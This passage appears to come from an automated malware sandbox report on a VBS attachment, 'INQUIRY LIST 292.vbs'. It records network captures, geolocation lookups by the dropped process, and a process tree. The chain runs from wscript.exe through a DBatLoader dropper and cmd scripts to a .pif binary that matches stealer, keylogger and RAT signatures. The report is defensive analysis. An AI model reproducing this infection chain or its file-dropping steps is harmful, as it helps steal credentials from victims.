8jJpGsksdKfYHSrnHXFFouPKgw9EctEdQhm1LW7Wrp1KvQcCTfnRXIu31Z9UrPn0XAHSTJrG1aZKtutl9c5gvotqq/eXUexKh/iom3i2BqBj6U5287OjbqvvplYFUG8e5XCJ5ht8Mw87kCXWe57dH4RHCSqXCtOBAUBplisqav9e0ABhNuupZZW/pD9gl6lc/1LChMp8EZlUMD/w5zSGgJdh0gBWN0d5DJrZhj3G/R0xEt5mnLTe/G1s6zZi97j
2025-01-16 07:29:15 UTC	8000	IN	Data Raw: 68 4a 43 5a 43 75 4e 38 46 76 55 56 61 6f 53 56 35 6b 55 46 42 48 6f 58 4a 6c 58 71 6f 31 39 2f 64 5a 54 54 63 47 77 44 51 5a 67 55 45 66 5a 74 45 70 46 43 4e 6d 62 4f 51 58 4e 65 43 50 54 55 65 7a 56 79 71 52 4f 4e 76 66 6e 2b 32 7a 39 38 69 4b 2f 57 4c 2f 64 57 72 55 43 31 4a 65 68 4f 6c 61 61 32 52 4f 35 78 6a 31 36 4b 2f 4e 38 6d 2b 32 42 75 6b 6c 75 2f 35 4f 50 38 73 34 4b 6e 79 4f 34 7a 30 42 46 36 33 63 6c 31 30 5a 79 38 6b 4a 6b 61 38 4e 58 4e 79 48 68 54 51 37 49 61 34 38 6e 79 54 58 69 6a 4d 6e 46 41 65 75 55 70 4f 6c 33 34 49 45 5a 55 43 68 39 4b 31 52 48 57 47 38 38 77 71 62 77 69 4f 6e 63 58 75 63 72 35 51 68 33 56 30 56 2f 42 75 54 35 47 69 35 78 39 6e 70 76 6d 36 6f 50 5a 6b 48 6f 6d 70 57 71 59 4c 69 4b 30 47 63 45 4e 7a 43 4b 68 38 64 32 Data Ascii: hJCZCuN8FvUVaoSV5kUFBHoXJlXqo19/dZTTcGwDQZgUEfZtEpFCNmbOQXNeCPTUezVyqRONvfn+2z98iK/WL/dWrUC1JehOlaa2RO5xj16K/N8m+2Buklu/5OP8s4KnyO4z0BF63cl10Zy8kJka8NXNyHhTQ7Ia48nyTXijMnFAeuUpOl34IEZUCh9K1RHWG88wqbwiOncXucr5Qh3V0V/BuT5Gi5x9npvm6oPZkHompWqYLiK0GcENzCKh8d2
2025-01-16 07:29:15 UTC	8000	IN	Data Raw: 43 68 6c 35 66 73 4d 6d 52 75 32 52 35 78 73 46 4b 59 52 55 76 4d 79 2b 63 54 30 34 6c 61 56 63 43 44 32 38 55 78 59 74 46 55 5a 73 57 35 39 38 30 4f 43 50 64 6a 4e 69 49 4a 69 53 59 74 63 61 30 33 30 6c 6c 71 68 76 61 79 42 36 6b 41 74 47 70 4b 54 54 45 2f 52 56 62 68 51 35 38 71 74 4f 6e 6d 70 6b 79 7a 79 42 72 63 6f 43 6e 6e 52 65 6c 68 32 38 4e 39 6c 31 2b 50 6d 78 6f 68 59 42 4b 4a 35 6f 37 68 62 41 2f 45 77 79 6e 61 36 52 71 2b 39 63 73 54 6c 75 39 31 32 4d 77 51 73 31 74 45 58 48 69 2b 70 6f 6b 4a 72 6e 71 61 37 65 43 59 58 2b 42 7a 32 4c 61 32 2b 49 31 41 54 47 76 76 33 54 58 77 52 6d 38 69 4f 74 76 62 46 6b 54 43 6e 46 47 77 4d 48 4b 39 59 2b 34 46 39 68 45 65 35 65 30 2b 55 42 73 77 58 63 35 57 41 6b 2b 4d 38 30 56 6e 72 70 55 6e 6a 42 55 4a 34 Data Ascii: Chl5fsMmRu2R5xsFKYRUvMy+cT04laVcCD28UxYtFUZsW5980OCPdjNiIJiSYtca030llqhvayB6kAtGpKTTE/RVbhQ58qtOnmpkyzyBrcoCnnRelh28N9l1+PmxohYBKJ5o7hbA/Ewyna6Rq+9csTlu912MwQs1tEXHi+pokJrnqa7eCYX+Bz2La2+I1ATGvv3TXwRm8iOtvbFkTCnFGwMHK9Y+4F9hEe5e0+UBswXc5WAk+M80VnrpUnjBUJ4
2025-01-16 07:29:15 UTC	8000	IN	Data Raw: 32 4e 5a 35 33 54 38 4c 4b 54 43 31 6c 73 47 30 39 52 47 77 32 4d 6f 6e 44 6e 42 43 69 77 42 64 67 64 7a 7a 54 58 42 50 4e 48 38 46 57 53 41 2f 30 7a 2b 46 34 67 2b 79 2f 47 6e 65 57 54 48 2f 78 6e 68 33 71 42 6b 76 79 53 6f 6d 49 67 47 6b 79 75 67 47 79 35 58 5a 4c 61 6d 69 43 6f 52 70 68 75 56 62 4c 78 4b 6c 39 79 2b 74 78 55 4f 73 57 73 56 71 6e 38 66 70 36 78 74 5a 62 7a 58 43 37 7a 74 4c 52 68 44 4e 79 33 55 5a 4a 76 6a 30 49 36 72 50 73 2f 54 71 4c 50 68 78 70 56 4c 32 38 45 42 49 4b 46 32 59 4c 32 78 64 78 63 6a 31 58 73 61 78 61 68 51 68 73 39 30 6b 2f 2b 51 50 4f 54 6c 52 7a 45 7a 2f 6c 42 6b 70 57 49 67 4a 70 5a 48 77 6b 4a 73 49 52 30 46 69 6a 45 70 31 78 72 6d 4f 4f 42 72 71 75 75 52 50 4d 45 58 6c 43 72 42 51 35 52 70 72 63 32 63 35 51 48 7a Data Ascii: 2NZ53T8LKTC1lsG09RGw2MonDnBCiwBdgdzzTXBPNH8FWSA/0z+F4g+y/GneWTH/xnh3qBkvySomIgGkyugGy5XZLamiCoRphuVbLxKl9y+txUOsWsVqn8fp6xtZbzXC7ztLRhDNy3UZJvj0I6rPs/TqLPhxpVL28EBIKF2YL2xdxcj1XsaxahQhs90k/+QPOTlRzEz/lBkpWIgJpZHwkJsIR0FijEp1xrmOOBrquuRPMEXlCrBQ5Rprc2c5QHz
2025-01-16 07:29:15 UTC	8000	IN	Data Raw: 65 47 77 48 43 67 74 79 76 75 47 7a 56 51 73 31 66 4e 57 4d 75 47 6e 66 56 67 75 72 56 6a 32 70 72 49 62 71 30 6b 51 5a 6c 62 4b 59 61 47 36 6c 4a 52 72 70 67 4e 53 31 36 33 69 68 55 2f 52 79 35 4a 54 43 78 2b 69 6d 46 54 74 35 5a 63 4b 4b 45 65 72 6b 55 34 4d 6d 34 30 6f 79 31 44 57 42 39 58 42 37 4f 78 50 77 4c 50 78 35 53 51 68 4c 68 52 34 38 77 4a 69 52 4f 57 75 73 59 30 53 79 55 30 66 35 7a 71 41 71 58 6d 47 6d 44 58 6e 4d 4f 44 56 69 32 6f 5a 74 44 41 36 6c 6d 78 75 55 72 73 65 45 2f 6d 52 42 77 32 34 74 69 39 34 68 4d 47 79 51 6b 6c 52 5a 33 72 6a 38 46 79 37 49 2b 75 35 71 57 6c 69 42 48 2f 33 66 41 6d 56 68 76 53 44 49 48 43 62 4d 2f 38 6f 6f 78 5a 43 32 4e 48 66 34 46 57 47 74 32 6d 6f 31 58 4a 33 4b 48 4c 6f 77 58 6f 33 6c 43 47 39 6b 59 74 4c Data Ascii: eGwHCgtyvuGzVQs1fNWMuGnfVgurVj2prIbq0kQZlbKYaG6lJRrpgNS163ihU/Ry5JTCx+imFTt5ZcKKEerkU4Mm40oy1DWB9XB7OxPwLPx5SQhLhR48wJiROWusY0SyU0f5zqAqXmGmDXnMODVi2oZtDA6lmxuUrseE/mRBw24ti94hMGyQklRZ3rj8Fy7I+u5qWliBH/3fAmVhvSDIHCbM/8ooxZC2NHf4FWGt2mo1XJ3KHLowXo3lCG9kYtL
2025-01-16 07:29:15 UTC	8000	IN	Data Raw: 47 68 69 30 6f 77 6f 44 59 72 4e 66 33 76 69 4f 66 76 48 76 67 6c 58 56 76 2f 54 73 30 39 4f 33 77 72 2f 34 71 74 4a 53 51 50 51 64 74 71 50 61 65 4e 74 4b 32 6d 30 4c 51 31 30 76 5a 6e 4d 55 2f 31 38 6f 37 53 48 58 52 67 50 31 4a 76 4f 35 67 59 5a 46 41 41 7a 45 52 38 2b 6c 66 59 43 65 69 4a 58 5a 69 43 39 7a 6c 52 63 50 38 78 35 59 6c 59 62 37 6b 59 44 5a 57 76 66 74 65 61 34 72 48 5a 30 56 5a 51 47 4c 67 6b 62 68 74 4e 79 51 6b 50 65 63 6d 4a 71 63 57 72 38 69 67 77 30 71 77 57 4a 47 57 39 6c 35 64 47 74 67 7a 6d 35 58 66 56 65 2f 77 69 4c 77 53 48 6d 73 69 7a 63 57 64 68 57 48 70 34 6c 62 42 33 48 63 57 6e 4b 39 6f 37 57 53 52 43 52 75 4c 69 6e 6f 6f 30 55 71 2f 65 74 78 71 2f 73 43 37 58 70 52 33 32 39 35 6c 48 46 6e 54 66 6b 51 48 4b 44 77 58 73 66 Data Ascii: Ghi0owoDYrNf3viOfvHvglXVv/Ts09O3wr/4qtJSQPQdtqPaeNtK2m0LQ10vZnMU/18o7SHXRgP1JvO5gYZFAAzER8+lfYCeiJXZiC9zlRcP8x5YlYb7kYDZWvftea4rHZ0VZQGLgkbhtNyQkPecmJqcWr8igw0qwWJGW9l5dGtgzm5XfVe/wiLwSHmsizcWdhWHp4lbB3HcWnK9o7WSRCRuLinoo0Uq/etxq/sC7XpR3295lHFnTfkQHKDwXsf
2025-01-16 07:29:15 UTC	8000	IN	Data Raw: 42 30 37 76 2b 58 73 61 74 71 55 66 62 30 52 35 7a 4f 67 79 2b 57 47 79 75 33 70 42 49 57 63 51 36 53 76 35 57 30 51 75 55 5a 43 73 6d 4a 4c 4e 58 6a 4b 34 6b 4a 75 63 75 70 70 79 55 4b 42 50 30 6c 79 51 6b 6b 6e 49 31 67 75 4c 55 30 76 73 46 75 4d 61 56 73 68 49 33 68 53 6e 42 4d 78 67 56 66 65 4b 67 30 2f 6b 6c 6b 35 30 4e 45 63 50 44 67 6c 4e 57 45 6e 79 78 49 54 41 51 55 46 4f 69 6d 30 71 52 43 53 6c 50 6c 35 54 2f 46 6c 76 77 43 50 6a 35 50 7a 59 33 35 6a 6e 73 38 30 62 5a 4a 66 71 2f 58 43 4d 6f 6a 61 37 6b 31 53 64 51 41 70 50 77 51 35 73 6b 4a 6b 69 70 6c 39 4c 36 6f 6a 2b 51 37 36 53 6c 51 78 6c 4f 63 6c 65 4f 64 32 72 35 6f 52 4b 4b 70 6e 32 67 70 44 4b 5a 42 63 41 7a 50 73 59 45 2f 62 76 6d 55 64 78 53 55 7a 6b 56 46 5a 75 78 4a 43 54 70 4f 52 Data Ascii: B07v+XsatqUfb0R5zOgy+WGyu3pBIWcQ6Sv5W0QuUZCsmJLNXjK4kJucuppyUKBP0lyQkknI1guLU0vsFuMaVshI3hSnBMxgVfeKg0/klk50NEcPDglNWEnyxITAQUFOim0qRCSlPl5T/FlvwCPj5PzY35jns80bZJfq/XCMoja7k1SdQApPwQ5skJkipl9L6oj+Q76SlQxlOcleOd2r5oRKKpn2gpDKZBcAzPsYE/bvmUdxSUzkVFZuxJCTpOR
2025-01-16 07:29:15 UTC	8000	IN	Data Raw: 79 44 58 42 4f 4b 2b 48 48 6e 4a 4a 51 43 51 53 55 71 48 63 42 6d 7a 56 46 57 32 57 47 35 30 64 35 67 54 64 37 72 72 70 6b 42 30 52 36 58 63 4b 48 52 70 63 2b 79 4a 6e 53 7a 2b 4f 57 65 54 70 39 38 6c 53 51 77 47 65 4a 7a 6f 41 6e 6e 74 49 65 4a 39 6a 78 34 65 39 31 67 35 54 30 67 4e 69 48 71 36 63 46 59 4b 43 33 65 41 74 67 75 56 33 74 6c 41 64 59 47 36 56 4d 34 54 36 4e 41 77 35 49 7a 38 44 63 68 73 6e 31 46 6a 59 35 58 58 49 72 4a 43 51 78 6a 56 54 57 51 69 71 6d 46 73 71 31 4d 65 50 4e 67 4a 65 55 56 73 42 6d 39 2f 64 62 61 74 59 36 54 4d 30 55 42 6b 66 59 4d 73 6d 69 68 2f 46 4a 65 68 66 34 39 34 64 4f 39 36 6f 35 30 58 70 55 76 4e 75 50 79 5a 6b 6a 34 47 57 63 79 37 66 78 49 6d 7a 43 61 56 68 62 4e 54 30 6d 4a 42 30 37 41 41 76 56 72 30 74 45 64 42 Data Ascii: yDXBOK+HHnJJQCQSUqHcBmzVFW2WG50d5gTd7rrpkB0R6XcKHRpc+yJnSz+OWeTp98lSQwGeJzoAnntIeJ9jx4e91g5T0gNiHq6cFYKC3eAtguV3tlAdYG6VM4T6NAw5Iz8Dchsn1FjY5XXIrJCQxjVTWQiqmFsq1MePNgJeUVsBm9/dbatY6TM0UBkfYMsmih/FJehf494dO96o50XpUvNuPyZkj4GWcy7fxImzCaVhbNT0mJB07AAvVr0tEdB
2025-01-16 07:29:15 UTC	8000	IN	Data Raw: 64 47 58 31 67 78 68 56 47 6c 53 47 54 46 54 58 65 52 6b 58 41 31 4d 44 4d 71 33 56 30 43 66 58 64 50 37 75 56 74 53 56 38 49 6a 53 6f 31 46 2b 66 71 49 4e 50 70 64 74 51 7a 42 4c 74 72 51 75 39 6f 6d 45 54 4b 69 6e 69 4b 73 49 50 69 42 39 62 73 57 57 77 5a 35 6d 35 44 46 48 54 31 34 61 69 70 50 38 50 72 70 56 6a 4c 42 50 7a 30 77 67 54 79 35 31 7a 51 6d 7a 38 55 59 38 4e 41 70 59 6c 63 4b 2b 33 52 7a 4b 65 6e 33 6e 48 6e 67 39 6c 4f 2b 6f 64 67 68 68 71 61 51 70 78 6a 43 73 41 55 51 7a 35 37 36 44 6d 39 50 6f 2b 51 63 62 4a 6f 74 37 75 6b 4c 44 56 54 49 4f 30 37 6d 69 6a 4a 43 5a 4a 6e 59 53 4b 45 73 5a 4d 41 44 72 71 4b 36 34 38 31 59 61 50 78 62 4a 5a 70 4c 37 50 6c 66 42 49 66 38 4e 67 51 6c 48 41 55 4a 63 67 44 59 36 4a 46 6e 66 65 57 45 30 2b 65 46 Data Ascii: dGX1gxhVGlSGTFTXeRkXA1MDMq3V0CfXdP7uVtSV8IjSo1F+fqINPpdtQzBLtrQu9omETKiniKsIPiB9bsWWwZ5m5DFHT14aipP8PrpVjLBPz0wgTy51zQmz8UY8NApYlcK+3RzKen3nHng9lO+odghhqaQpxjCsAUQz576Dm9Po+QcbJot7ukLDVTIO07mijJCZJnYSKEsZMADrqK6481YaPxbJZpL7PlfBIf8NgQlHAUJcgDY6JFnfeWE0+eF
2025-01-16 07:29:15 UTC	8000	IN	Data Raw: 54 78 5a 31 76 47 50 71 5a 34 50 33 41 64 4f 65 59 47 42 41 2f 55 51 61 79 50 50 4d 53 4c 59 68 51 50 5a 67 69 51 6f 50 71 2f 4e 67 6a 45 2f 53 42 73 2b 44 36 31 77 50 77 30 6c 7a 75 48 6b 6d 41 66 53 6c 61 55 47 38 48 43 70 74 41 78 32 73 68 63 58 51 63 7a 49 4e 35 4f 33 73 30 32 47 66 63 41 42 79 75 62 4b 62 4a 32 39 37 52 5a 45 72 65 73 72 44 66 56 30 72 67 67 74 76 57 64 35 61 50 7a 54 55 38 56 6e 36 49 49 45 74 57 4e 71 35 56 49 2b 42 6a 55 58 36 4f 7a 78 4a 34 65 38 51 7a 6a 4d 67 65 49 7a 2f 35 53 6d 43 55 6a 44 45 51 64 45 66 6c 4b 61 34 34 52 6c 64 53 6b 66 56 46 59 5a 42 73 6d 4b 55 75 53 30 75 6d 33 65 31 74 55 52 54 53 73 70 76 67 50 75 45 52 4f 35 74 2b 47 6a 4a 6a 72 39 4e 5a 70 51 51 6f 76 65 4c 7a 78 30 4c 63 61 42 74 63 50 69 49 31 41 47 Data Ascii: TxZ1vGPqZ4P3AdOeYGBA/UQayPPMSLYhQPZgiQoPq/NgjE/SBs+D61wPw0lzuHkmAfSlaUG8HCptAx2shcXQczIN5O3s02GfcAByubKbJ297RZEresrDfV0rggtvWd5aPzTU8Vn6IIEtWNq5VI+BjUX6OzxJ4e8QzjMgeIz/5SmCUjDEQdEflKa44RldSkfVFYZBsmKUuS0um3e1tURTSspvgPuERO5t+GjJjr9NZpQQoveLzx0LcaBtcPiI1AG

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.4	49733	104.21.96.1	443	1856	C:\Users\Public\Libraries\liuuazhU.pif

Timestamp	Bytes transferred	Direction	Data
2025-01-16 07:29:22 UTC	85	OUT	GET /xml/8.46.123.189 HTTP/1.1 Host: reallyfreegeoip.org Connection: Keep-Alive
2025-01-16 07:29:22 UTC	857	IN	HTTP/1.1 200 OK Date: Thu, 16 Jan 2025 07:29:22 GMT Content-Type: text/xml Content-Length: 362 Connection: close Age: 2327351 Cache-Control: max-age=31536000 cf-cache-status: HIT last-modified: Fri, 20 Dec 2024 09:00:10 GMT Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=Z44cW9kTmae2jEwknmslLv9osTQHdjBtOiNP%2FmJJ7x%2FgvPFvXlEgS5FoaWfD7U%2F5OzE3w0ze7%2FfFYpcp0CQ4mVuwcIrhvV2He8C3tDekPaOcppSgrMlnM35HtCd6t1cZtJKs6qYc"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 902c64e33b4bde9a-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1538&min_rtt=1476&rtt_var=598&sent=5&recv=7&lost=0&retrans=0&sent_bytes=2848&recv_bytes=699&delivery_rate=1978319&cwnd=194&unsent_bytes=0&cid=49dcf55e96156446&ts=221&x=0"
2025-01-16 07:29:22 UTC	362	IN	Data Raw: 3c 52 65 73 70 6f 6e 73 65 3e 0a 09 3c 49 50 3e 38 2e 34 36 2e 31 32 33 2e 31 38 39 3c 2f 49 50 3e 0a 09 3c 43 6f 75 6e 74 72 79 43 6f 64 65 3e 55 53 3c 2f 43 6f 75 6e 74 72 79 43 6f 64 65 3e 0a 09 3c 43 6f 75 6e 74 72 79 4e 61 6d 65 3e 55 6e 69 74 65 64 20 53 74 61 74 65 73 3c 2f 43 6f 75 6e 74 72 79 4e 61 6d 65 3e 0a 09 3c 52 65 67 69 6f 6e 43 6f 64 65 3e 4e 59 3c 2f 52 65 67 69 6f 6e 43 6f 64 65 3e 0a 09 3c 52 65 67 69 6f 6e 4e 61 6d 65 3e 4e 65 77 20 59 6f 72 6b 3c 2f 52 65 67 69 6f 6e 4e 61 6d 65 3e 0a 09 3c 43 69 74 79 3e 4e 65 77 20 59 6f 72 6b 3c 2f 43 69 74 79 3e 0a 09 3c 5a 69 70 43 6f 64 65 3e 31 30 31 31 38 3c 2f 5a 69 70 43 6f 64 65 3e 0a 09 3c 54 69 6d 65 5a 6f 6e 65 3e 41 6d 65 72 69 63 61 2f 4e 65 77 5f 59 6f 72 6b 3c 2f 54 69 6d 65 5a 6f Data Ascii: <Response><IP>8.46.123.189</IP><CountryCode>US</CountryCode><CountryName>United States</CountryName><RegionCode>NY</RegionCode><RegionName>New York</RegionName><City>New York</City><ZipCode>10118</ZipCode><TimeZone>America/New_York</TimeZo

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2	192.168.2.4	49741	104.21.96.1	443	5640	C:\Users\Public\Libraries\liuuazhU.pif

Timestamp	Bytes transferred	Direction	Data
2025-01-16 07:29:35 UTC	85	OUT	GET /xml/8.46.123.189 HTTP/1.1 Host: reallyfreegeoip.org Connection: Keep-Alive
2025-01-16 07:29:35 UTC	857	IN	HTTP/1.1 200 OK Date: Thu, 16 Jan 2025 07:29:35 GMT Content-Type: text/xml Content-Length: 362 Connection: close Age: 2327364 Cache-Control: max-age=31536000 cf-cache-status: HIT last-modified: Fri, 20 Dec 2024 09:00:10 GMT Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=BfDAoD%2F9h7Wnq4J6VDPABPs11ur7RCwBLqhsXFpF%2FhZjhqVkElx9IG9SsGVTAd8z73uwGpvognwkSECGDVm1kc%2Fus1r4m8XtUtYcO0YVk%2FjilsseBTZf7ZtI8iY5sH3P7QrjVyB6"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 902c653638b8de9a-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1446&min_rtt=1441&rtt_var=550&sent=5&recv=6&lost=0&retrans=0&sent_bytes=2848&recv_bytes=699&delivery_rate=1970310&cwnd=194&unsent_bytes=0&cid=7da9d3196fdf8b4e&ts=583&x=0"
2025-01-16 07:29:35 UTC	362	IN	Data Raw: 3c 52 65 73 70 6f 6e 73 65 3e 0a 09 3c 49 50 3e 38 2e 34 36 2e 31 32 33 2e 31 38 39 3c 2f 49 50 3e 0a 09 3c 43 6f 75 6e 74 72 79 43 6f 64 65 3e 55 53 3c 2f 43 6f 75 6e 74 72 79 43 6f 64 65 3e 0a 09 3c 43 6f 75 6e 74 72 79 4e 61 6d 65 3e 55 6e 69 74 65 64 20 53 74 61 74 65 73 3c 2f 43 6f 75 6e 74 72 79 4e 61 6d 65 3e 0a 09 3c 52 65 67 69 6f 6e 43 6f 64 65 3e 4e 59 3c 2f 52 65 67 69 6f 6e 43 6f 64 65 3e 0a 09 3c 52 65 67 69 6f 6e 4e 61 6d 65 3e 4e 65 77 20 59 6f 72 6b 3c 2f 52 65 67 69 6f 6e 4e 61 6d 65 3e 0a 09 3c 43 69 74 79 3e 4e 65 77 20 59 6f 72 6b 3c 2f 43 69 74 79 3e 0a 09 3c 5a 69 70 43 6f 64 65 3e 31 30 31 31 38 3c 2f 5a 69 70 43 6f 64 65 3e 0a 09 3c 54 69 6d 65 5a 6f 6e 65 3e 41 6d 65 72 69 63 61 2f 4e 65 77 5f 59 6f 72 6b 3c 2f 54 69 6d 65 5a 6f Data Ascii: <Response><IP>8.46.123.189</IP><CountryCode>US</CountryCode><CountryName>United States</CountryName><RegionCode>NY</RegionCode><RegionName>New York</RegionName><City>New York</City><ZipCode>10118</ZipCode><TimeZone>America/New_York</TimeZo

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
3	192.168.2.4	49743	104.21.96.1	443	5956	C:\Users\Public\Libraries\liuuazhU.pif

Timestamp	Bytes transferred	Direction	Data
2025-01-16 07:29:42 UTC	85	OUT	GET /xml/8.46.123.189 HTTP/1.1 Host: reallyfreegeoip.org Connection: Keep-Alive
2025-01-16 07:29:42 UTC	851	IN	HTTP/1.1 200 OK Date: Thu, 16 Jan 2025 07:29:42 GMT Content-Type: text/xml Content-Length: 362 Connection: close Age: 2327371 Cache-Control: max-age=31536000 cf-cache-status: HIT last-modified: Fri, 20 Dec 2024 09:00:10 GMT Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=ztgLSG8A1FIjeYBWxfniPkIusD4vKZGMke2W41Ov3S7mhykl3glSCwImxlGC24yE5qxQFK1rfM9WIJKcqyl%2FrtzTPqSE380L24GLJnWrJMPfluCKxIct9pZ4ygULGoR30kCEHsbt"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 902c655fdefc72a4-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1953&min_rtt=1944&rtt_var=736&sent=5&recv=7&lost=0&retrans=0&sent_bytes=2849&recv_bytes=699&delivery_rate=1502057&cwnd=212&unsent_bytes=0&cid=5e5a6110b7bae14e&ts=164&x=0"
2025-01-16 07:29:42 UTC	362	IN	Data Raw: 3c 52 65 73 70 6f 6e 73 65 3e 0a 09 3c 49 50 3e 38 2e 34 36 2e 31 32 33 2e 31 38 39 3c 2f 49 50 3e 0a 09 3c 43 6f 75 6e 74 72 79 43 6f 64 65 3e 55 53 3c 2f 43 6f 75 6e 74 72 79 43 6f 64 65 3e 0a 09 3c 43 6f 75 6e 74 72 79 4e 61 6d 65 3e 55 6e 69 74 65 64 20 53 74 61 74 65 73 3c 2f 43 6f 75 6e 74 72 79 4e 61 6d 65 3e 0a 09 3c 52 65 67 69 6f 6e 43 6f 64 65 3e 4e 59 3c 2f 52 65 67 69 6f 6e 43 6f 64 65 3e 0a 09 3c 52 65 67 69 6f 6e 4e 61 6d 65 3e 4e 65 77 20 59 6f 72 6b 3c 2f 52 65 67 69 6f 6e 4e 61 6d 65 3e 0a 09 3c 43 69 74 79 3e 4e 65 77 20 59 6f 72 6b 3c 2f 43 69 74 79 3e 0a 09 3c 5a 69 70 43 6f 64 65 3e 31 30 31 31 38 3c 2f 5a 69 70 43 6f 64 65 3e 0a 09 3c 54 69 6d 65 5a 6f 6e 65 3e 41 6d 65 72 69 63 61 2f 4e 65 77 5f 59 6f 72 6b 3c 2f 54 69 6d 65 5a 6f Data Ascii: <Response><IP>8.46.123.189</IP><CountryCode>US</CountryCode><CountryName>United States</CountryName><RegionCode>NY</RegionCode><RegionName>New York</RegionName><City>New York</City><ZipCode>10118</ZipCode><TimeZone>America/New_York</TimeZo

Target ID:	0
Start time:	02:29:11
Start date:	16/01/2025
Path:	C:\Windows\System32\wscript.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\INQUIRY LIST 292.vbs"
Imagebase:	0x7ff7a6930000
File size:	170'496 bytes
MD5 hash:	A47CBE969EA935BDD3AB568BB126BC80
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	1
Start time:	02:29:12
Start date:	16/01/2025
Path:	C:\Users\user\AppData\Local\Temp\x.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\Temp\x.exe"
Imagebase:	0x400000
File size:	854'016 bytes
MD5 hash:	4692AEE744A1B1FAB794FF334A77A462
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	Borland Delphi
Yara matches:	Rule: JoeSecurity_DBatLoader, Description: Yara detected DBatLoader, Source: 00000001.00000003.1799207040.000000007FCB0000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security
Antivirus matches:	Detection: 100%, Avira Detection: 42%, ReversingLabs
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	2
Start time:	02:29:15
Start date:	16/01/2025
Path:	C:\Windows\SysWOW64\cmd.exe
Wow64 process (32bit):	true
Commandline:	C:\Windows\system32\cmd.exe /c ""C:\Users\Public\UhzauuilF.cmd" "
Imagebase:	0x240000
File size:	236'544 bytes
MD5 hash:	D0FCE3AFA6AA1D58CE9FA336CC2B675B
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	3
Start time:	02:29:15
Start date:	16/01/2025
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7699e0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	4
Start time:	02:29:17
Start date:	16/01/2025
Path:	C:\Windows\SysWOW64\cmd.exe
Wow64 process (32bit):	true
Commandline:	C:\Windows\system32\cmd.exe /c C:\Users\Public\Libraries\FX.cmd
Imagebase:	0x240000
File size:	236'544 bytes
MD5 hash:	D0FCE3AFA6AA1D58CE9FA336CC2B675B
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	5
Start time:	02:29:18
Start date:	16/01/2025
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7699e0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	6
Start time:	02:29:18
Start date:	16/01/2025
Path:	C:\Users\Public\Libraries\liuuazhU.pif
Wow64 process (32bit):	true
Commandline:	C:\Users\Public\Libraries\liuuazhU.pif
Imagebase:	0x400000
File size:	175'800 bytes
MD5 hash:	22331ABCC9472CC9DC6F37FAF333AA2C
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_MassLogger, Description: Yara detected MassLogger RAT, Source: 00000006.00000002.3110746880.000000001E421000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_PureLogStealer, Description: Yara detected PureLog Stealer, Source: 00000006.00000002.3110746880.000000001E421000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: Windows_Trojan_SnakeKeylogger_af3faa65, Description: unknown, Source: 00000006.00000002.3110746880.000000001E421000.00000004.00000800.00020000.00000000.sdmp, Author: unknown Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000006.00000002.3109531523.000000001D421000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_TelegramRAT, Description: Yara detected Telegram RAT, Source: 00000006.00000002.3109531523.000000001D421000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_MassLogger, Description: Yara detected MassLogger RAT, Source: 00000006.00000003.1856725712.000000001B37A000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_PureLogStealer, Description: Yara detected PureLog Stealer, Source: 00000006.00000003.1856725712.000000001B37A000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: Windows_Trojan_SnakeKeylogger_af3faa65, Description: unknown, Source: 00000006.00000003.1856725712.000000001B37A000.00000004.00000020.00020000.00000000.sdmp, Author: unknown Rule: JoeSecurity_MassLogger, Description: Yara detected MassLogger RAT, Source: 00000006.00000002.3108782055.000000001CFF6000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security 